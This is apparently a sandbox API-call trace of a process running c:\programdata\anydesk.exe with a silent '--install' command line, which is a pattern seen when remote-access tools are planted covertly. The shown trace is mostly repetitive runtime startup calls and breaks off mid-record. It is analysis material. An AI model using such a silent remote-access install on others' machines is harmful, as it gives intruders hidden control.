FreeEnvironmentStringsW (penv=0x5102e8) returned 1 [0178.041] GetStartupInfoW (in: lpStartupInfo=0x16ea84 | out: lpStartupInfo=0x16ea84*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="c:\\programdata\\anydesk.exe --install C:\\ProgramData\\AnyDesk --silent", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0xa45000, hStdError=0x5ab)) [0178.041] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x800) returned 0x240fa8 [0178.041] GetStdHandle (nStdHandle=0xfffffff6) returned 0xbc [0178.041] GetFileType (hFile=0xbc) returned 0x3 [0178.041] GetStdHandle (nStdHandle=0xfffffff5) returned 0xc8 [0178.041] GetFileType (hFile=0xc8) returned 0x3 [0178.041] GetStdHandle (nStdHandle=0xfffffff4) returned 0xc8 [0178.041] GetFileType (hFile=0xc8) returned 0x3 [0178.042] SetHandleCount (uNumber=0x20) returned 0x20 [0178.042] GetLastError () returned 0x0 [0178.042] SetLastError (dwErrCode=0x0) [0178.042] GetLastError () returned 0x0 [0178.042] SetLastError (dwErrCode=0x0) [0178.042] GetLastError () returned 0x0 [0178.042] SetLastError (dwErrCode=0x0) [0178.042] GetACP () returned 0x4e4 [0178.042] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x220) returned 0x2417b0 [0178.042] GetLastError () returned 0x0 [0178.042] SetLastError (dwErrCode=0x0) [0178.042] IsValidCodePage (CodePage=0x4e4) returned 1 [0178.042] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x16ea4c | out: lpCPInfo=0x16ea4c) returned 1 [0178.042] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x16e518 | out: lpCPInfo=0x16e518) returned 1 [0178.042] GetLastError () returned 0x0 [0178.043] SetLastError (dwErrCode=0x0) [0178.043] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x16e92c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0178.043] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x16e92c, cbMultiByte=256, lpWideCharStr=0x16e298, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿʨûĀ") returned 256 [0178.043] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿʨûĀ", cchSrc=256, lpCharType=0x16e52c | out: lpCharType=0x16e52c) returned 1 [0178.043] GetLastError () returned 0x0 [0178.043] SetLastError (dwErrCode=0x0) [0178.043] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x16e92c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0178.043] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x16e92c, cbMultiByte=256, lpWideCharStr=0x16e268, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0178.043] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0178.043] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x16e058, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0178.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x16e82c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿý§A\x9edê\x16", lpUsedDefaultChar=0x0) returned 256 [0178.043] GetLastError () returned 0x0 [0178.043] SetLastError (dwErrCode=0x0) [0178.043] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x16e92c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0178.043] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x16e92c, cbMultiByte=256, lpWideCharStr=0x16e288, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0178.043] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0178.043] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x16e078, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0178.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x16e72c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿý§A\x9edê\x16", lpUsedDefaultChar=0x0) returned 256 [0178.044] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x15a0138, nSize=0x104 | out: lpFilename="c:\\programdata\\anydesk.exe" (normalized: "c:\\programdata\\anydesk.exe")) returned 0x1a [0178.044] GetLastError () returned 0x0 [0178.044] SetLastError (dwErrCode=0x0) [0178.044] GetLastError () returned 0x0 [0178.044] SetLastError (dwErrCode=0x0) [0178.044] GetLastError () returned 0x0 [0178.044] SetLastError (dwErrCode=0x0) [0178.044] GetLastError () returned 0x0 [0178.044] SetLastError (dwErrCode=0x0) [0178.044] GetLastError () returned 0x0 [0178.044] SetLastError (dwErrCode=0x0) [0178.044] GetLastError () returned 0x0 [0178.044] SetLastError (dwErrCode=0x0) [0178.044] GetLastError () returned 0x0 [0178.044] SetLastError (dwErrCode=0x0) [0178.044] GetLastError () returned 0x0 [0178.045] SetLastError (dwErrCode=0x0) [0178.045] GetLastError () returned 0x0 [0178.045] SetLastError (dwErrCode=0x0) [0178.045] GetLastError () returned 0x0 [0178.045] SetLastError (dwErrCode=0x0) [0178.045] GetLastError () returned 0x0 [0178.045] SetLastError (dwErrCode=0x0) [0178.045] GetLastError () returned 0x0 [0178.045] SetLastError (dwErrCode=0x0) [0178.045] GetLastError () returned 0x0 [0178.045] SetLastError (dwErrCode=0x0) [0178.045] GetLastError () returned 0x0 [0178.045] SetLastError (dwErrCode=0x0) [0178.045] GetLastError () returned 0x0 [0178.045] SetLastError (dwErrCode=0x0) [0178.045] GetLastError () returned 0x0 [0178.045] SetLastError (dwErrCode=0x0) [0178.045] GetLastError () returned 0x0 [0178.046] SetLastError (dwErrCode=0x0) [0178.046] GetLastError () returned 0x0 [0178.046] SetLastError (dwErrCode=0x0) [0178.046] GetLastError () returned 0x0 [0178.046] SetLastError (dwErrCode=0x0) [0178.046] GetLastError () returned 0x0 [0178.046] SetLastError (dwErrCode=0x0) [0178.046] GetLastError () returned 0x0 [0178.046] SetLastError (dwErrCode=0x0) [0178.046] GetLastError () returned 0x0 [0178.046] SetLastError (dwErrCode=0x0) [0178.046] GetLastError () returned 0x0 [0178.046] SetLastError (dwErrCode=0x0) [0178.046] GetLastError () returned 0x0 [0178.046] SetLastError (dwErrCode=0x0) [0178.046] GetLastError () returned 0x0 [0178.046] SetLastError (dwErrCode=0x0) [0178.046] GetLastError () returned 0x0 [0178.047] SetLastError (dwErrCode=0x0) [0178.047] GetLastError () returned 0x0 [0178.047] SetLastError (dwErrCode=0x0) [0178.047] GetLastError () returned 0x0 [0178.047] SetLastError (dwErrCode=0x0) [0178.047] GetLastError () returned 0x0 [0178.047] SetLastError (dwErrCode=0x0) [0178.047] GetLastError () returned 0x0 [0178.047] SetLastError (dwErrCode=0x0) [0178.047] GetLastError () returned 0x0 [0178.047] SetLastError (dwErrCode=0x0) [0178.047] GetLastError () returned 0x0 [0178.047] SetLastError (dwErrCode=0x0) [0178.047] GetLastError () returned 0x0 [0178.047] SetLastError (dwErrCode=0x0) [0178.047] GetLastError () returned 0x0 [0178.047] SetLastError (dwErrCode=0x0) [0178.047] GetLastError () returned 0x0 [0178.047] SetLastError (dwErrCode=0x0) [0178.047] GetLastError () returned 0x0 [0178.048] SetLastError (dwErrCode=0x0) [0178.048] GetLastError () returned 0x0 [0178.048] SetLastError (dwErrCode=0x0) [0178.048] GetLastError () returned 0x0 [0178.048] SetLastError (dwErrCode=0x0) [0178.048] GetLastError () returned 0x0 [0178.048] SetLastError (dwErrCode=0x0) [0178.048] GetLastError () returned 0x0 [0178.048] SetLastError (dwErrCode=0x0) [0178.048] GetLastError () returned 0x0 [0178.048] SetLastError (dwErrCode=0x0) [0178.048] GetLastError () returned 0x0 [0178.048] SetLastError (dwErrCode=0x0) [0178.048] GetLastError () returned 0x0 [0178.048] SetLastError (dwErrCode=0x0) [0178.048] GetLastError () returned 0x0 [0178.048] SetLastError (dwErrCode=0x0) [0178.048] GetLastError () returned 0x0 [0178.049] SetLastError (dwErrCode=0x0) [0178.049] GetLastError () returned 0x0 [0178.049] SetLastError (dwErrCode=0x0) [0178.049] GetLastError () returned 0x0 [0178.049] SetLastError (dwErrCode=0x0) [0178.049] GetLastError () returned 0x0 [0178.049] SetLastError (dwErrCode=0x0) [0178.049] GetLastError () returned 0x0 [0178.049] SetLastError (dwErrCode=0x0) [0178.049] GetLastError () returned 0x0 [0178.049] SetLastError (dwErrCode=0x0) [0178.049] GetLastError () returned 0x0 [0178.049] SetLastError (dwErrCode=0x0) [0178.049] GetLastError () returned 0x0 [0178.049] SetLastError (dwErrCode=0x0) [0178.049] GetLastError () returned 0x0 [0178.049] SetLastError (dwErrCode=0x0) [0178.049] GetLastError () returned 0x0 [0178.050] SetLastError (dwErrCode=0x0) [0178.050] GetLastError () returned 0x0 [0178.050] SetLastError (dwErrCode=0x0) [0178.050] GetLastError () returned 0x0 [0178.050] SetLastError (dwErrCode=0x0) [0178.050] GetLastError () returned 0x0 [0178.050] SetLastError (dwErrCode=0x0) [0178.050] GetLastError () returned 0x0 [0178.050] SetLastError (dwErrCode=0x0) [0178.050] GetLastError () returned 0x0 [0178.050] SetLastError (dwErrCode=0x0) [0178.050] GetLastError () returned 0x0 [0178.050] SetLastError (dwErrCode=0x0) [0178.050] GetLastError () returned 0x0 [0178.050] SetLastError (dwErrCode=0x0) [0178.050] GetLastError () returned 0x0 [0178.050] SetLastError (dwErrCode=0x0) [0178.050] GetLastError () returned 0x0 [0178.051] SetLastError (dwErrCode=0x0) [0178.051] GetLastError () returned 0x0 [0178.051] SetLastError (dwErrCode=0x0) [0178.051] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x59) returned 0x2419d8 [0178.051] GetLastError () returned 0x0 [0178.051] SetLastError (dwErrCode=0x0) [0178.051] GetLastError () returned 0x0 [0178.051] SetLastError (dwErrCode=0x0) [0178.051] GetLastError () returned 0x0 [0178.051] SetLastError (dwErrCode=0x0) [0178.051] GetLastError () returned 0x0 [0178.051] SetLastError (dwErrCode=0x0) [0178.051] GetLastError () returned 0x0 [0178.051] SetLastError (dwErrCode=0x0) [0178.051] GetLastError () returned 0x0 [0178.051] SetLastError (dwErrCode=0x0) [0178.051] GetLastError () returned 0x0 [0178.051] SetLastError (dwErrCode=0x0) [0178.051] GetLastError () returned 0x0 [0178.052] SetLastError (dwErrCode=0x0) [0178.052] GetLastError () returned 0x0 [0178.052] SetLastError (dwErrCode=0x0) [0178.052] GetLastError () returned 0x0 [0178.052] SetLastError (dwErrCode=0x0) [0178.052] GetLastError () returned 0x0 [0178.052] SetLastError (dwErrCode=0x0) [0178.052] GetLastError () returned 0x0 [0178.052] SetLastError (dwErrCode=0x0) [0178.052] GetLastError () returned 0x0 [0178.052] SetLastError (dwErrCode=0x0) [0178.052] GetLastError () returned 0x0 [0178.052] SetLastError (dwErrCode=0x0) [0178.052] GetLastError () returned 0x0 [0178.052] SetLastError (dwErrCode=0x0) [0178.052] GetLastError () returned 0x0 [0178.052] SetLastError (dwErrCode=0x0) [0178.052] GetLastError () returned 0x0 [0178.053] SetLastError (dwErrCode=0x0) [0178.053] GetLastError () returned 0x0 [0178.053] SetLastError (dwErrCode=0x0) [0178.053] GetLastError () returned 0x0 [0178.053] SetLastError (dwErrCode=0x0) [0178.053] GetLastError () returned 0x0 [0178.053] SetLastError (dwErrCode=0x0) [0178.053] GetLastError () returned 0x0 [0178.053] SetLastError (dwErrCode=0x0) [0178.053] GetLastError () returned 0x0 [0178.053] SetLastError (dwErrCode=0x0) [0178.053] GetLastError () returned 0x0 [0178.053] SetLastError (dwErrCode=0x0) [0178.053] GetLastError () returned 0x0 [0178.053] SetLastError (dwErrCode=0x0) [0178.053] GetLastError () returned 0x0 [0178.053] SetLastError (dwErrCode=0x0) [0178.053] GetLastError () returned 0x0 [0178.054] SetLastError (dwErrCode=0x0) [0178.054] GetLastError () returned 0x0 [0178.054] SetLastError (dwErrCode=0x0) [0178.054] GetLastError () returned 0x0 [0178.054] SetLastError (dwErrCode=0x0) [0178.054] GetLastError () returned 0x0 [0178.054] SetLastError (dwErrCode=0x0) [0178.054] GetLastError () returned 0x0 [0178.054] SetLastError (dwErrCode=0x0) [0178.054] GetLastError () returned 0x0 [0178.054] SetLastError (dwErrCode=0x0) [0178.054] GetLastError () returned 0x0 [0178.054] SetLastError (dwErrCode=0x0) [0178.054] GetLastError () returned 0x0 [0178.054] SetLastError (dwErrCode=0x0) [0178.054] GetLastError () returned 0x0 [0178.054] SetLastError (dwErrCode=0x0) [0178.054] GetLastError () returned 0x0 [0178.054] SetLastError (dwErrCode=0x0) [0178.054] GetLastError () returned 0x0 [0178.055] SetLastError (dwErrCode=0x0) [0178.055] GetLastError () returned 0x0 [0178.055] SetLastError (dwErrCode=0x0) [0178.055] GetLastError () returned 0x0 [0178.055] SetLastError (dwErrCode=0x0) [0178.055] GetLastError () returned 0x0 [0178.055] SetLastError (dwErrCode=0x0) [0178.055] GetLastError () returned 0x0 [0178.055] SetLastError (dwErrCode=0x0) [0178.055] GetLastError () returned 0x0 [0178.055] SetLastError (dwErrCode=0x0) [0178.055] GetLastError () returned 0x0 [0178.055] SetLastError (dwErrCode=0x0) [0178.055] GetLastError () returned 0x0 [0178.055] SetLastError (dwErrCode=0x0) [0178.055] GetLastError () returned 0x0 [0178.055] SetLastError (dwErrCode=0x0) [0178.055] GetLastError () returned 0x0 [0178.055] SetLastError (dwErrCode=0x0) [0178.055] GetLastError () returned 0x0 [0178.055] SetLastError (dwErrCode=0x0) [0178.055] GetLastError () returned 0x0 [0178.055] SetLastError (dwErrCode=0x0) [0178.055] GetLastError () returned 0x0 [0178.056] SetLastError (dwErrCode=0x0) [0178.056] GetLastError () returned 0x0 [0178.056] SetLastError (dwErrCode=0x0) [0178.056] GetLastError () returned 0x0 [0178.056] SetLastError (dwErrCode=0x0) [0178.056] GetLastError () returned 0x0 [0178.056] SetLastError (dwErrCode=0x0) [0178.056] GetLastError () returned 0x0 [0178.056] SetLastError (dwErrCode=0x0) [0178.056] GetLastError () returned 0x0 [0178.056] SetLastError (dwErrCode=0x0) [0178.056] GetLastError () returned 0x0 [0178.056] SetLastError (dwErrCode=0x0) [0178.056] GetLastError () returned 0x0 [0178.056] SetLastError (dwErrCode=0x0) [0178.056] GetLastError () returned 0x0 [0178.056] SetLastError (dwErrCode=0x0) [0178.056] GetLastError () returned 0x0 [0178.056] SetLastError (dwErrCode=0x0) [0178.056] GetLastError () returned 0x0 [0178.056] SetLastError (dwErrCode=0x0) [0178.056] GetLastError () returned 0x0 [0178.056] SetLastError (dwErrCode=0x0) [0178.056] GetLastError () returned 0x0 [0178.057] SetLastError (dwErrCode=0x0) [0178.057] GetLastError () returned 0x0 [0178.057] SetLastError (dwErrCode=0x0) [0178.057] GetLastError () returned 0x0 [0178.057] SetLastError (dwErrCode=0x0) [0178.057] GetLastError () returned 0x0 [0178.057] SetLastError (dwErrCode=0x0) [0178.057] GetLastError () returned 